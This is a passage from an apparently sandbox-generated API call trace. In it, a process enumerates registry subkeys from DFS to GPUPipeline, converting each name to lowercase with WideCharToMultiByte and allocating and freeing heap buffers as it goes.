dwIndex=0x11, lpName=0x92b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0209.924] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0209.924] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x92c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0209.924] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.924] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.924] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.924] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.924] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x92b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0209.924] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0209.924] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x92c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0209.924] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.924] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.924] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.924] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.924] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x92b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0209.924] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.924] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x92c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0209.924] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.924] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.924] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.924] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.924] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x92b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0209.924] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.924] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x92c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0209.924] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.924] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.924] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.924] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.925] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x92b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0209.925] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.925] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x92c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0209.925] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.925] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.925] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.925] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.925] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x92b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0209.925] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0209.925] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x92c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0209.925] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.925] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.925] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.925] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.925] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x92b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0209.925] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0209.925] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x92c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0209.925] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.925] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.925] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.925] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.925] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x92b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0209.926] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0209.926] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x92c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0209.926] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.926] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.926] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.926] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.926] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x92b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0209.926] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0209.926] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x92c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0209.926] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.926] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.926] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.926] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.926] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x92b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0209.926] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0209.926] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x92c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0209.926] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.926] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.926] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.926] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.926] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x92b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0209.926] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0209.926] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x92c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0209.926] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.926] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.926] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.926] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.926] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x92b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0209.927] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0209.927] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x92c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0209.927] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.927] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.927] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.927] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.927] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x92b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0209.927] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0209.927] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x92c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0209.927] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.927] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.927] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.927] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.927] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x92b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0209.927] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.927] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x92c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0209.927] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.927] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.927] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.927] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.927] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x92b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0209.927] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0209.927] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x92c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0209.927] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.927] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.927] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.928] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.928] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x92b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0209.928] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0209.928] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x92c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0209.928] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.928] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.928] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.928] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.928] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x92b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0209.928] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0209.928] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x92c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0209.928] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.928] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.928] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.928] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.928] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x92b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0209.928] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.928] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x92c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0209.928] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.928] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.928] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.928] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.928] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x92b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0209.928] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0209.928] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x92c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0209.928] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.928] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.929] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.929] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.929] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x92b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0209.929] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0209.929] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x92c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0209.929] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.929] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.929] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.929] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.929] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x92b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0209.929] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0209.929] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x92c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0209.929] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.929] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.929] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.929] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.929] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x92b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0209.929] RtlAllocateHeap (HeapHandle=0x920000, 